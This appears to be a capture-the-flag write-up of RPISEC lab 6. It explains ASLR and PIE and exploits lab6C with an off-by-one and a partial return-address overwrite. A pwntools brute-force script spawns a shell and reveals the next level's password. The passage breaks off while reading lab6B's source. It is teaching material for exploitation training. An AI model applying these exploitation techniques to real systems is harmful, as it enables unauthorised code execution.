The previous lab focused on the subject of return oriented programming in order to circumvent data execution prevention. The next lab described in this writeup introduces ASLR.
The single levels of this lab range from C to A:
–> lab6C
–> lab6B
–> lab6A
Note: ASLR should be enabled by now.
lab6C
In all previous labs ASLR has been disabled. This changes now as we get closer to real-life vulnerabilities.
If ASLR is enabled can be determined by viewing /proc/sys/kernel/randomize_va_space
:
gameadmin@warzone:~$ cat /proc/sys/kernel/randomize_va_space 0
There are three possible values:
–> 0: ASLR is disabled.
–> 1: ASLR is partially enabled.
–> 2: ASLR is fully enabled.
In order to enable ASLR the corresponding value has to be set:
gameadmin@warzone:~$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 2
If you want to permanently enable ASLR (persisting reboot) this can be done by setting the value in /etc/sysctl.d/01-disable-aslr.conf
:
gameadmin@warzone:~$ vi /etc/sysctl.d/01-disable-aslr.conf ... kernel.randomize_va_space = 2
After enabling ASLR we can connect to the first level of this lib using the credentials lab6C with the password lab06start:
gameadmin@warzone:~$ sudo ssh lab6C@localhost [sudo] password for gameadmin: lab6C@localhost's password: (lab06start) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Mon Jan 22 05:48:49 2018 from localhost
As in the previous labs we have access to the source code:
lab6C@warzone:/levels/lab06$ cat lab6C.c /* Exploitation with ASLR Lab C gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> struct savestate { char tweet[140]; char username[40]; int msglen; } save; void set_tweet(struct savestate *save ); void set_username(struct savestate * save); /* debug functionality, not used in production */ void secret_backdoor() { char cmd[128]; /* reads a command and executes it */ fgets(cmd, 128, stdin); system(cmd); return; } void handle_tweet() { struct savestate save; /* Initialize our save state to sane values. */ memset(save.username, 0, 40); save.msglen = 140; /* read a username and tweet from the user */ set_username(&save); set_tweet(&save); printf(">: Tweet sent!\n"); return; } void set_tweet(struct savestate *save ) { char readbuf[1024]; memset(readbuf, 0, 1024); printf(">: Tweet @Unix-Dude\n"); printf(">>: "); /* read a tweet from the user, safely copy it to struct */ fgets(readbuf, 1024, stdin); strncpy(save->tweet, readbuf, save->msglen); return; } void set_username(struct savestate * save) { int i; char readbuf[128]; memset(readbuf, 0, 128); printf(">: Enter your username\n"); printf(">>: "); /* Read and copy the username to our savestate */ fgets(readbuf, 128, stdin); for(i = 0; i <= 40 && readbuf[i]; i++) save->username[i] = readbuf[i]; printf(">: Welcome, %s", save->username); return; } int main(int argc, char * argv[]) { printf( "--------------------------------------------\n" \ "| ~Welcome to l33t-tw33ts ~ v.0.13.37 |\n" \ "--------------------------------------------\n"); /* make some tweets */ handle_tweet(); return EXIT_SUCCESS; }
What does the program do?
–> The binary is compiled with the flags -pie -fPIE
(line 5). This means that the binary contains position independent code (we will get to this later).
–> On lines 12-15 a struct called savestate
is defined, containing two strings sizing 140 (tweet
) and 40 byte (username
) as well as an integer
(msglen
).
–> On line 22 a function called secret_backdoor
is defined which will run an arbitrary system-command. This looks like the function we would like to call.
–> In the main
function (line 82) there is basically only a call to handle_tweet
(line 91).
–> Within the function handle_tweet
(line 33) the struct savestate
is instantiated. msglen
is set to 140
(line 39).
–> The struct is then passed to set_username
(line 42) and set_tweet
(line 43).
–> Within the function set_username
(line 64) a username is read and stored in save->username
(line 75-76).
–> Within the function set_tweet
(line 49) a tweet is read and stored in save->tweet
(line 59).
Where is the vulnerability within the program?
While the vulnerabilities in the last labs could have been spotted easily, it gets a little bit more difficult in this lab. A good starting point is always the user input. In both set_username
and set_tweet
the user input is read by a call to fgets
. Since the buffer readbuf
is long enough, everything seems to be fine with those calls. Within set_tweet
the content of readbuf
is copied to save->tweet
using strncpy
. The amount of bytes to copy is limited by the value of save->msglen
. Since this value has been initialized with 140 everything seems fine here as long as the value does not change. Within set_username
the contents of readbuf
are copied byte by byte in a for-loop (lines 75-76). The condition of the for-loop is i <= 40 && readbuf[i]
. This means that within the loops last iteration i
is 40
if readbuf[i]
has not been null before. The size of save->username
is only 40 byte and the index of the last byte is 39. Thus there is an overflow in the last iteration when i = 40
!
Having a look back at the struct definition on lines 12-15 we can see that the integer save->msglen
is stored after the variable username
which we can overflow by one byte. Thus the 41th byte we enter will be stored in save->msglen
.
As we have already seen save->msglen
is used within the function set_tweet
to set the amount of bytes to copy from the user input readbuf
to the variable save->tweet
. Since we can control one byte of save->msglen
(the least significant) we can set save->msglen
to a maximum of 255. This way we can overflow the whole local struct save
and probably overwrite the return address of handle_tweet
.
Summing this up we have to:
–> Overflow save->username
in order to set save->msglen
to a greater value.
–> Overflow save->tweet
in order to overwrite the return address of handle_tweet
.
Let's start by verifying our assumptions and overwrite the return address using a pattern created with gdb
and python
:
gdb-peda$ pattern create 300 /tmp/pattern Writing pattern of 300 chars to filename "/tmp/pattern" gdb-peda$ ! (python -c 'print("X"*40 + "\xff")'; cat /tmp/pattern) > /tmp/pattern2
The 300 byte pattern will be stored in save->tweet
and the prepended line in save->username
: 40 bytes + 0xff
in order to set save->msglen
to 255
:
gdb-peda$ ! cat /tmp/pattern2 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX▒ AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA...
Now we can run the program in gdb
providing the pattern as user input:
gdb-peda$ r < /tmp/pattern2 Starting program: /levels/lab06/lab6C < /tmp/pattern2 -------------------------------------------- | ~Welcome to l33t-tw33ts ~ v.0.13.37 | -------------------------------------------- >: Enter your username >>: >: Welcome, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX▒>: Tweet @Unix-Dude >>: >: Tweet sent! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xf EBX: 0x41417541 ('AuAA') ECX: 0xb7772000 (">>: >: Tweet sent!\n", 'X' <repeats 37 times>, "\377>: Tweet @Unix-Dude\n") EDX: 0xb7768898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x7641415a ('ZAAv') ESP: 0xbfda7e60 ("AxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") EIP: 0x41774141 ('AAwA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41774141 [------------------------------------stack-------------------------------------] 0000| 0xbfda7e60 ("AxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") 0004| 0xbfda7e64 ("yAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") 0008| 0xbfda7e68 ("A%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") 0012| 0xbfda7e6c ("%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") 0016| 0xbfda7e70 ("BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") 0020| 0xbfda7e74 ("A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") 0024| 0xbfda7e78 ("%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") 0028| 0xbfda7e7c ("-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41774141 in ?? () gdb-peda$ pattern offset $eip 1098334529 found at offset: 196
Great! The instruction pointer (eip
) has been successfully overwritten with our pattern. The offset to the return address is 196 byte.
As for now we did not spend any special attention to the fact that ASLR is enabled. This aspect comes into play now since we control eip
and need some address we can jump to. We have already noticed that the author of the program kindly implemented a function called secret_backdoor
which we would like to call. It should be no problem to determine the address of this function:
gdb-peda$ p secret_backdoor $1 = {<text variable, no debug info>} 0x72b <secret_backdoor>
The address of secret_backdoor
is 0x72b
. Umh? Seems to be a quite small value for an address. Let's compare this to an address of a function from lab5A:
gdb-peda$ p store_number $1 = {<text variable, no debug info>} 0x8048eae <store_number>
The value 0x8048eae
seems to be more adequate for an address.
So what is going on here?
ASLR and PIE
In the last labs Address Space Layout Randomization (ASLR) was disabled and we oftentimes used hard-coded address in order to jump to a specific function within the binary or a shellcode we injected. The goal of ASLR is to harden those kinds of attacks by randomizing the address space layout on every execution of a program. This way we do not know where to jump to even if we control the instruction pointer.
A good example (taken from RPISEC lab slides) to see the impact of ASLR is to run cat
a few times and inspect the memory maps:
At first we turn ASLR off to see the changes:
gameadmin@warzone:~$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 0
And then inspect the memory maps of cat
on multiple runs:
gameadmin@warzone:~$ cat /proc/self/maps 08048000-08053000 r-xp 00000000 fc:00 917517 /bin/cat 08053000-08054000 r--p 0000a000 fc:00 917517 /bin/cat 08054000-08055000 rw-p 0000b000 fc:00 917517 /bin/cat 08055000-08076000 rw-p 00000000 00:00 0 [heap] b7c22000-b7e22000 r--p 00000000 fc:00 136933 /usr/lib/locale/locale-archive b7e22000-b7e23000 rw-p 00000000 00:00 0 b7e23000-b7fcb000 r-xp 00000000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7fcb000-b7fcd000 r--p 001a8000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7fcd000-b7fce000 rw-p 001aa000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7fce000-b7fd1000 rw-p 00000000 00:00 0 b7fd9000-b7fdb000 rw-p 00000000 00:00 0 b7fdb000-b7fdc000 r-xp 00000000 00:00 0 [vdso] b7fdc000-b7fde000 r--p 00000000 00:00 0 [vvar] b7fde000-b7ffe000 r-xp 00000000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7ffe000-b7fff000 r--p 0001f000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7fff000-b8000000 rw-p 00020000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] gameadmin@warzone:~$ cat /proc/self/maps 08048000-08053000 r-xp 00000000 fc:00 917517 /bin/cat 08053000-08054000 r--p 0000a000 fc:00 917517 /bin/cat 08054000-08055000 rw-p 0000b000 fc:00 917517 /bin/cat 08055000-08076000 rw-p 00000000 00:00 0 [heap] b7c22000-b7e22000 r--p 00000000 fc:00 136933 /usr/lib/locale/locale-archive b7e22000-b7e23000 rw-p 00000000 00:00 0 b7e23000-b7fcb000 r-xp 00000000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7fcb000-b7fcd000 r--p 001a8000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7fcd000-b7fce000 rw-p 001aa000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7fce000-b7fd1000 rw-p 00000000 00:00 0 b7fd9000-b7fdb000 rw-p 00000000 00:00 0 b7fdb000-b7fdc000 r-xp 00000000 00:00 0 [vdso] b7fdc000-b7fde000 r--p 00000000 00:00 0 [vvar] b7fde000-b7ffe000 r-xp 00000000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7ffe000-b7fff000 r--p 0001f000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7fff000-b8000000 rw-p 00020000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] ...
It is not so good to see in the listing here but on every run of cat
the memory addresses stay the same.
Now we enabled ASLR:
gameadmin@warzone:~$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 2
And try the same again:
gameadmin@warzone:~$ cat /proc/self/maps 08048000-08053000 r-xp 00000000 fc:00 917517 /bin/cat 08053000-08054000 r--p 0000a000 fc:00 917517 /bin/cat 08054000-08055000 rw-p 0000b000 fc:00 917517 /bin/cat 0897e000-0899f000 rw-p 00000000 00:00 0 [heap] b7333000-b7533000 r--p 00000000 fc:00 136933 /usr/lib/locale/locale-archive b7533000-b7534000 rw-p 00000000 00:00 0 b7534000-b76dc000 r-xp 00000000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b76dc000-b76de000 r--p 001a8000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b76de000-b76df000 rw-p 001aa000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b76df000-b76e2000 rw-p 00000000 00:00 0 b76ea000-b76ec000 rw-p 00000000 00:00 0 b76ec000-b76ed000 r-xp 00000000 00:00 0 [vdso] b76ed000-b76ef000 r--p 00000000 00:00 0 [vvar] b76ef000-b770f000 r-xp 00000000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b770f000-b7710000 r--p 0001f000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7710000-b7711000 rw-p 00020000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so bf87f000-bf8a0000 rw-p 00000000 00:00 0 [stack] gameadmin@warzone:~$ cat /proc/self/maps 08048000-08053000 r-xp 00000000 fc:00 917517 /bin/cat 08053000-08054000 r--p 0000a000 fc:00 917517 /bin/cat 08054000-08055000 rw-p 0000b000 fc:00 917517 /bin/cat 0868d000-086ae000 rw-p 00000000 00:00 0 [heap] b7357000-b7557000 r--p 00000000 fc:00 136933 /usr/lib/locale/locale-archive b7557000-b7558000 rw-p 00000000 00:00 0 b7558000-b7700000 r-xp 00000000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7700000-b7702000 r--p 001a8000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7702000-b7703000 rw-p 001aa000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7703000-b7706000 rw-p 00000000 00:00 0 b770e000-b7710000 rw-p 00000000 00:00 0 b7710000-b7711000 r-xp 00000000 00:00 0 [vdso] b7711000-b7713000 r--p 00000000 00:00 0 [vvar] b7713000-b7733000 r-xp 00000000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7733000-b7734000 r--p 0001f000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7734000-b7735000 rw-p 00020000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so bfdb5000-bfdd6000 rw-p 00000000 00:00 0 [stack] ...
The highlighted addresses have changed. These addresses include:
–> the stack
–> the heap
–> libraries (libc
, ld
, ...)
This means that we cannot jump to a pre-calculated address on the stack where our shellcode is stored or to the address of system
in the libc
like we did in lab5C.
What did not changed are the addresses of the memory maps of the binary itself. As for cat
these are constantly stored between 0x08048000
and 0x08055000
.
This is where Position Independent Executables (PIE) comes into play.
In order to compile a program to contain position independent code the gcc
flags -pie -fPIE
can be used just like shown in the source code of this level:
gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c
Let's have a look at the memory maps when running the lab6C
binary.
I used two terminals. One to run the program:
lab6C@warzone:/levels/lab06$ ./lab6C -------------------------------------------- | ~Welcome to l33t-tw33ts ~ v.0.13.37 | -------------------------------------------- >: Enter your username >>:
And the other to inspect the memory maps on multiple runs:
gameadmin@warzone:~$ sudo cat /proc/$(sudo pidof lab6C)/maps b75cf000-b75d0000 rw-p 00000000 00:00 0 b75d0000-b7778000 r-xp 00000000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7778000-b777a000 r--p 001a8000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b777a000-b777b000 rw-p 001aa000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b777b000-b777e000 rw-p 00000000 00:00 0 b7784000-b7788000 rw-p 00000000 00:00 0 b7788000-b7789000 r-xp 00000000 00:00 0 [vdso] b7789000-b778b000 r--p 00000000 00:00 0 [vvar] b778b000-b77ab000 r-xp 00000000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b77ab000-b77ac000 r--p 0001f000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b77ac000-b77ad000 rw-p 00020000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b77ad000-b77ae000 r-xp 00000000 fc:00 922466 /levels/lab06/lab6C b77ae000-b77af000 r--p 00000000 fc:00 922466 /levels/lab06/lab6C b77af000-b77b0000 rw-p 00001000 fc:00 922466 /levels/lab06/lab6C bfb17000-bfb38000 rw-p 00000000 00:00 0 [stack] gameadmin@warzone:~$ sudo cat /proc/$(sudo pidof lab6C)/maps b758c000-b758d000 rw-p 00000000 00:00 0 b758d000-b7735000 r-xp 00000000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7735000-b7737000 r--p 001a8000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7737000-b7738000 rw-p 001aa000 fc:00 401847 /lib/i386-linux-gnu/libc-2.19.so b7738000-b773b000 rw-p 00000000 00:00 0 b7741000-b7745000 rw-p 00000000 00:00 0 b7745000-b7746000 r-xp 00000000 00:00 0 [vdso] b7746000-b7748000 r--p 00000000 00:00 0 [vvar] b7748000-b7768000 r-xp 00000000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7768000-b7769000 r--p 0001f000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b7769000-b776a000 rw-p 00020000 fc:00 401849 /lib/i386-linux-gnu/ld-2.19.so b776a000-b776b000 r-xp 00000000 fc:00 922466 /levels/lab06/lab6C b776b000-b776c000 r--p 00000000 fc:00 922466 /levels/lab06/lab6C b776c000-b776d000 rw-p 00001000 fc:00 922466 /levels/lab06/lab6C bfc3d000-bfc5e000 rw-p 00000000 00:00 0 [stack] ...
This time all memory addresses changed. Even the addresses of the binary itself. That is also why the address for the function secret_backdoor
was only 0x72b
. The final address can only be determined after running the program:
gdb-peda$ p secret_backdoor $1 = {<text variable, no debug info>} 0x72b <secret_backdoor> gdb-peda$ r Starting program: /levels/lab06/lab6C -------------------------------------------- | ~Welcome to l33t-tw33ts ~ v.0.13.37 | -------------------------------------------- >: Enter your username >>: ^C Program received signal SIGINT, Interrupt. ... gdb-peda$ p secret_backdoor $2 = {<text variable, no debug info>} 0xb776e72b <secret_backdoor>
PIE is not enabled by default since there is an overhead executing position independent code. While it is necessary for shared libraries, most binaries are actually not compiled as PIE. One example we have already seen (cat
):
lab6C@warzone:/levels/lab06$ checksec /bin/cat RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 3 9/bin/cat lab6C@warzone:/levels/lab06$ checksec lab6C RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 8lab6C
Summing it up the following memory maps are randomized when ASLR is enabled:
–> the stack
–> the heap
–> libraries (libc
, ld
, ...)
When the binary is compiled as PIE the following memory maps are additionally randomized:
–> main binary (.text
, .plt
, .got
, .rodata
, ...)
final exploit
With this in mind we can now proceed constructing our exploit for this level.
We have already figured out, that the return address of the function handle_tweet
is stored at offset 196 from the buffer save->tweet
.
Let's first inspect the return address and the address of the function we want to jump to (secret_backdoor
) on multiple runs in order to understand the impact of ASLR and PIE:
gdb-peda$ disassemble handle_tweet Dump of assembler code for function handle_tweet: ... 0x000007ea <+112>: pop ebx 0x000007eb <+113>: pop ebp 0x000007ec <+114>: ret End of assembler dump. gdb-peda$ b *handle_tweet+114 Breakpoint 1 at 0x7ec gdb-peda$ r Starting program: /levels/lab06/lab6C -------------------------------------------- | ~Welcome to l33t-tw33ts ~ v.0.13.37 | -------------------------------------------- >: Enter your username >>: aaa >: Welcome, aaa >: Tweet @Unix-Dude >>: bbb >: Tweet sent! [----------------------------------registers-----------------------------------] EAX: 0xf EBX: 0xb7709000 --> 0x1efc ECX: 0xb76df000 (">: Tweet sent!\nDude\nme\n", '-' <repeats 21 times>, "\n") EDX: 0xb76d5898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xbf934108 --> 0x0 ESP: 0xbf9340ec --> 0xb770798a (<main+40>: mov eax,0x0) EIP: 0xb77077ec (<handle_tweet+114>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb77077e4 <handle_tweet+106>: add esp,0xd4 0xb77077ea <handle_tweet+112>: pop ebx 0xb77077eb <handle_tweet+113>: pop ebp => 0xb77077ec <handle_tweet+114>: ret 0xb77077ed <set_tweet>: push ebp 0xb77077ee <set_tweet+1>: mov ebp,esp 0xb77077f0 <set_tweet+3>: push ebx 0xb77077f1 <set_tweet+4>: sub esp,0x414 [------------------------------------stack-------------------------------------] 0000| 0xbf9340ec --> 0xb770798a (<main+40>: mov eax,0x0) 0004| 0xbf9340f0 --> 0xb7707a80 ('-' <repeats 44 times>, "\n| ~Welcome to l33t-tw33ts ~ v.0.13.37 |\n", '-' <repeats 44 times>) 0008| 0xbf9340f4 --> 0xb7706000 --> 0x20f34 0012| 0xbf9340f8 --> 0xb77079ab (<__libc_csu_init+11>: add ebx,0x1655) 0016| 0xbf9340fc --> 0xb76d4000 --> 0x1a9da8 0020| 0xbf934100 --> 0xb77079a0 (<__libc_csu_init>: push ebp) 0024| 0xbf934104 --> 0xb76d4000 --> 0x1a9da8 0028| 0xbf934108 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0xb77077ec in handle_tweet ()
I set a breakpoint on the ret
instruction of handle_tweet
, run the program and entered some data. The return address is 0xb770798a
.
Let's determine the address of secret_backdoor
:
gdb-peda$ p secret_backdoor $1 = {<text variable, no debug info>} 0xb770772b <secret_backdoor>
The address of secret_backdoor
is 0xb770772b
. As the offset of the function is 0x72b
, the base address of the memory map is 0xb7707000
.
This can be verifying by having a look at /proc/pid/maps
again:
gameadmin@warzone:~$ sudo cat /proc/$(sudo pidof lab6C)/maps ... b7707000-b7708000 r-xp 00000000 fc:00 922466 /levels/lab06/lab6C b7708000-b7709000 r--p 00000000 fc:00 922466 /levels/lab06/lab6C b7709000-b770a000 rw-p 00001000 fc:00 922466 /levels/lab06/lab6C ...
If we rerun the program the addresses change:
gdb-peda$ r Starting program: /levels/lab06/lab6C ... => 0xb77447ec <handle_tweet+114>: ret 0xb77447ed <set_tweet>: push ebp 0xb77447ee <set_tweet+1>: mov ebp,esp 0xb77447f0 <set_tweet+3>: push ebx 0xb77447f1 <set_tweet+4>: sub esp,0x414 [------------------------------------stack-------------------------------------] 0000| 0xbfaacf5c --> 0xb774498a (<main+40>: mov eax,0x0) ... gdb-peda$ p secret_backdoor $2 = {<text variable, no debug info>} 0xb774472b <secret_backdoor>
Now the return address is 0xb774498a
and the function secret_backdoor
is located at 0xb774472b
.
As you may have noticed, only the last 3 hex digits of the addresses vary (the offset). The randomized base address is the same for both addresses.
When we only overwrite the last 2 bytes (since we cannot overwrite 3 hex digits = 1.5 bytes), the upper 2 bytes will be left untouched and still contain the randomized base address. The 4th hex digit is also random, but since there are only 2^4 = 16 possible values we can just bruteforce this part of the byte.
The following picture illustrates this technique called Partial Overwrite:
In order to overwrite the return address by exactly 2 bytes we can adjust the value for save->msglen
to 198 (196 bytes offset + 2 bytes overwrite).
The final python-script expects the random upper 4 bits of the second byte to be zero. The process is relaunched until /bin/sh
and the command whoami
succeed:
lab6C@warzone:/levels/lab06$ cat /tmp/exploit_lab6C.py from pwn import * while True: p = process("./lab6C") p.recv(200) p.sendline("X"*40+"\xc6") # 196 offset + 2 byte partial overwrite = 198 (0xc6) p.recv(200) expl = "X"*196 expl += p32(0x072b) p.sendline(expl) p.sendline("/bin/sh") p.sendline("whoami") ret = p.recv(200) if ("lab6B" in ret): p.interactive() quit()
After only a few attempts the address matches:
lab6C@warzone:/levels/lab06$ python /tmp/exploit_lab6C.py [+] Starting program './lab6C': Done [+] Starting program './lab6C': Done [+] Starting program './lab6C': Done [+] Starting program './lab6C': Done [+] Starting program './lab6C': Done [+] Starting program './lab6C': Done [+] Starting program './lab6C': Done [+] Starting program './lab6C': Done [*] Switching to interactive mode $ whoami lab6B $ cat /home/lab6B/.pass p4rti4l_0verwr1tes_r_3nuff
Done 🙂 The password for the next level is p4rti4l_0verwr1tes_r_3nuff
.
lab6B
We connecting to the next level using the previously gained credentials lab6B with the password p4rti4l_0verwr1tes_r_3nuff:
gameadmin@warzone:~$ sudo ssh lab6B@localhost lab6B@localhost's password: (p4rti4l_0verwr1tes_r_3nuff) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Mon Jan 22 16:04:02 2018 from localhost
As usual we start by inspecting the provided source code, which is quite large this time compared to the last labs:
lab6B@warzone:/levels/lab06$ cat lab6B.c /* compiled with: gcc -z relro -z now -pie -fPIE -fno-stack-protector -o lab6B lab6B.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "utils.h" ENABLE_TIMEOUT(300) /* log the user in */ int login() { printf("WELCOME MR. FALK\n"); /* you win */ system("/bin/sh"); return 0; } /* doom's super secret password mangling scheme */ void hash_pass(char * password, char * username) { int i = 0; /* hash pass with chars of username */ while(password[i] && username[i]) { password[i] ^= username[i]; i++; } /* hash rest of password with a pad char */ while(password[i]) { password[i] ^= 0x44; i++; } return; } /* doom's super secure password read function */ int load_pass(char ** password) { FILE * fd = 0; int fail = -1; int psize = 0; /* open the password file */ fd = fopen("/home/lab6A/.pass", "r"); if(fd == NULL) { printf("Could not open secret pass!\n"); return fail; } /* get the size of the password */ if(fseek(fd, 0, SEEK_END)) { printf("Failed to seek to end of pass!\n"); return fail; } psize = ftell(fd); if(psize == 0 || psize == -1) { printf("Could not get pass size!\n"); return fail; } /* reset stream */ if(fseek(fd, 0, SEEK_SET)) { printf("Failed to see to the start of pass!\n"); return fail; } /* allocate a buffer for the password */ *password = (char *)malloc(psize); if(password == NULL) { printf("Could not malloc for pass!\n"); return fail; } /* make sure we read in the whole password */ if(fread(*password, sizeof(char), psize, fd) != psize) { printf("Could not read secret pass!\n"); free(*password); return fail; } fclose(fd); /* successfully read in the password */ return psize; } int login_prompt(int pwsize, char * secretpw) { char password[32]; char username[32]; char readbuff[128]; int attempts = -3; int result = -1; /* login prompt loop */ while(attempts++) { /* clear our buffers to avoid any sort of data re-use */ memset(password, 0, sizeof(password)); memset(username, 0, sizeof(username)); memset(readbuff, 0, sizeof(readbuff)); /* safely read username */ printf("Enter your username: "); fgets(readbuff, sizeof(readbuff), stdin); /* use safe strncpy to copy username from the read buffer */ strncpy(username, readbuff, sizeof(username)); /* safely read password */ printf("Enter your password: "); fgets(readbuff, sizeof(readbuff), stdin); /* use safe strncpy to copy password from the read buffer */ strncpy(password, readbuff, sizeof(password)); /* hash the input password for this attempt */ hash_pass(password, username); /* check if password is correct */ if(pwsize > 16 && memcmp(password, secretpw, pwsize) == 0) { login(); result = 0; break; } printf("Authentication failed for user %s\n", username); } return result; } int main(int argc, char* argv[]) { int pwsize; char * secretpw; disable_buffering(stdout); /* load the secret pass */ pwsize = load_pass(&secretpw); pwsize = pwsize > 32 ? 32 : pwsize; /* failed to load password */ if(pwsize == 0 || pwsize == -1) return EXIT_FAILURE; /* hash the password we'll be comparing against */ hash_pass(secretpw, "lab6A"); printf("----------- FALK OS LOGIN PROMPT -----------\n"); fflush(stdout); /* authorization loop */ if(login_prompt(pwsize, secretpw)) { /* print the super serious warning to ward off hackers */ printf("+-------------------------------------------------------+\n"\ "|WARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNIN|\n"\ "|GWARNINGWARNI - TOO MANY LOGIN ATTEMPTS - NGWARNINGWARN|\n"\ "|INGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWAR|\n"\ "+-------------------------------------------------------+\n"\ "| We have logged this session and will be |\n"\ "| sending it to the proper CCDC CTF teams to analyze |\n"\ "| ----------------------------- |\n"\ "| The CCDC cyber team dispatched will use their |\n"\ "| masterful IT and networking skills to trace |\n"\ "| you down and serve swift american justice |\n"\ "+-------------------------------------------------------+\n"); return EXIT_FAILURE; } return EXIT_SUCCESS; }
What does the program do?
–> Within the main
function (line 149) the secret password is read using the function load_pass
:
pwsize = load_pass(&secretpw);
–> The function (line 44) opens the password-file /home/lab6A/.pass
